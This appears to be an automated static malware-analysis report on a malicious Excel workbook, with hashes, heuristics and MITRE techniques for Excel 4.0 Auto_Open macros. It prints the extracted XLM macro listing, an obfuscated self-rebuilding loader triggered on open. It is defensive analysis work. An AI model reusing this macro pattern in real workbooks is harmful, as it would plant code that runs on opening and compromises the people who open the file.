Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad222ffd5352918d…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:43:43 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 5c1f66c0a55ea34a6910afd06aa69001 SHA-1: f769e6e5dd1281a202446037197a57e4a49e3aa6 SHA-256: ad222ffd5352918d4d7952a11d47f8d0a21e1e3452a22014fd167ade96593497
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a known technique for executing arbitrary commands upon opening the workbook. The macro sheet contains references to dangerous formula APIs, specifically the RUN function, suggesting it is designed to launch an external process. No specific family could be identified, and no further IOCs were extracted.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6492 bytes
SHA-256: 7c306ec52dc0b7643c60c702da0b8eb1d94081a3a4e2f9b64efef52819487925
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BHJDiBSK
' 0018     23 LABEL : Cell Value, String Constant - APHhYvry len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C155 
' 0018     20 LABEL : Cell Value, String Constant - dLhXU len=0 
' 0018     22 LABEL : Cell Value, String Constant - DQmtVxo len=0 
' 0018     22 LABEL : Cell Value, String Constant - EcgvuPi len=0 
' 0018     24 LABEL : Cell Value, String Constant - EWxSKMWLw len=0 
' 0018     22 LABEL : Cell Value, String Constant - FckayUi len=0 
' 0018     22 LABEL : Cell Value, String Constant - FdnHGUU len=0 
' 0018     27 LABEL : Cell Value, String Constant - fIAqtFmyptwV len=0 
' 0018     21 LABEL : Cell Value, String Constant - HhfNhZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - iqwmWYKy len=0 
' 0018     23 LABEL : Cell Value, String Constant - MCrFySjR len=0 
' 0018     21 LABEL : Cell Value, String Constant - ncaOUv len=0 
' 0018     22 LABEL : Cell Value, String Constant - pxkfKEI len=0 
' 0018     25 LABEL : Cell Value, String Constant - RRpFaFfGjQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ULMtaOlEDX len=0 
' 0018     22 LABEL : Cell Value, String Constant - wwcApux len=0 
' 0018     21 LABEL : Cell Value, String Constant - xubXYq len=0 
' 0018     21 LABEL : Cell Value, String Constant - xvjuiC len=0 
' 0018     20 LABEL : Cell Value, String Constant - YZKeI len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZVIBmSMXxhB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BHJDiBSK,C63,"SET.NAME("iqwmWYKy",VALUE("0"))",""
'  BHJDiBSK,C67,"SET.NAME("xvjuiC",iqwmWYKy)",""
'  BHJDiBSK,C69,"SET.NAME("xubXYq",iqwmWYKy)",""
'  BHJDiBSK,C73,"SET.NAME("EcgvuPi",COUNTA(FckayUi))",""
'  BHJDiBSK,C78,"SET.NAME("pxkfKEI",COUNTA(FdnHGUU))",""
'  BHJDiBSK,C80,[],""
'  BHJDiBSK,C83,"SET.NAME("ncaOUv","")",""
'  BHJDiBSK,C86,"xvjuiC",""
'  BHJDiBSK,C90,"SET.NAME("dLhXU",HLOOKUP("*",FckayUi,xvjuiC,FALSE))",""
'  BHJDiBSK,C93,"EWxSKMWLw",""
'  BHJDiBSK,C96,"SET.NAME("DQmtVxo",iqwmWYKy)",""
'  BHJDiBSK,C100,[],""
'  BHJDiBSK,C103,"DQmtVxo",""
'  BHJDiBSK,C107,"wwcApux",""
'  BHJDiBSK,C111,"APHhYvry",""
'  BHJDiBSK,C115,"ULMtaOlEDX",""
'  BHJDiBSK,C120,"SET.NAME("MCrFySjR",VALUE(HLOOKUP("*",FdnHGUU,ULMtaOlEDX,FALSE)))",""
'  BHJDiBSK,C122,"YZKeI",""
'  BHJDiBSK,C126,"ncaOUv",""
'  BHJDiBSK,C130,"xubXYq",""
'  BHJDiBSK,C132,NEXT(),""
'  BHJDiBSK,C134,"fIAqtFmyptwV",""
'  BHJDiBSK,C139,"SET.NAME("f",INT(T(FORMULA(T(ncaOUv)&"",""&T(fIAqtFmyptwV)))))",""
'  BHJDiBSK,C143,"ZVIBmSMXxhB",""
'  BHJDiBSK,C146,NEXT(),""
'  BHJDiBSK,C150,RETURN(),""
'  BHJDiBSK,C174,"SET.NAME("RRpFaFfGjQ",C63)",""
'  BHJDiBSK,C178,"FckayUi",""
'  BHJDiBSK,C181,"SET.NAME("FdnHGUU",R95C15)",""
'  BHJDiBSK,C184,"SET.NAME("ZVIBmSMXxhB",192)",""
'  BHJDiBSK,C188,"SET.NAME("HhfNhZ",3)",""
'  BHJDiBSK,C191,RRpFaFfGjQ(),""
'  BHJDiBSK,C192,HALT(),""

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